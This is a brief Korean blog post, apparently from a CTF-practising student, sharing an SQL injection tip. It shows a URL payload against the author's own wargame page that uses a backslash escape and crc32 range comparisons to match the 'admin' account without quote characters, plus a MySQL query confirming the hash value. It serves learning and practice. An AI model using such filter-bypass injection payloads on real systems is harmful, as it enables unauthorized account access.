Hacking/Web.

sqli tips

2017. 2. 8. 00:33

SQLi TIPS

- H3X0R, s1ipper 팀 소속 윤석찬(ch4n3) -



솔직히 제가 그렇게 대단한 웹해커는 아니라서 유용한 팁일줄은 모르겠으나 한 번 공유해봅니다. 



현재 제가 운영하고 있는 ch4n3 world(http://ch4n3.dothome.co.kr/) write up을 보다가 알게 된 것인데, mysql의 암호화 함수를 많이 사용하면 좋다는 것입니다. 


--

http://chaneyoon.dothome.co.kr/sqli2.php?id=1%5C&pw=))||crc32(id)%3E2282622325%26%26crc32(id)%3C2282622327%23

--

위에 있는 url은 crc32를 이용한 암호화로 id가 admin인 계정을 찾는 것입니다. 



대표적인 암호화로는 md serises , sha serises, base serises 이렇게  있을텐데 이것들을 <, > 비교 연산자와 이용하면 될 것 같습니다. 



mysql> select crc32(0x61646D696E)=2282622326;
+--------------------------------+
| crc32(0x61646D696E)=2282622326 |
+--------------------------------+
|                              1 |
+--------------------------------+
1 row in set (0.00 sec)

이렇게 하면 admin값을 찾을 때, 쿼터를 필요로하지 않습니다. 


네, 일단 스쳐가는 영감을 적었구여 내일 개학이라서 자도록 하겠습니다. 




'Hacking > Web.' 카테고리의 다른 글

error based sql injection  (0) 2017.02.12
error based sql injection  (0) 2017.02.08
sqli시 공백우회  (0) 2017.02.02
mysql error based sql injection  (0) 2017.01.25
MySQL procedure analyze()를 이용한 SQLi  (0) 2017.01.22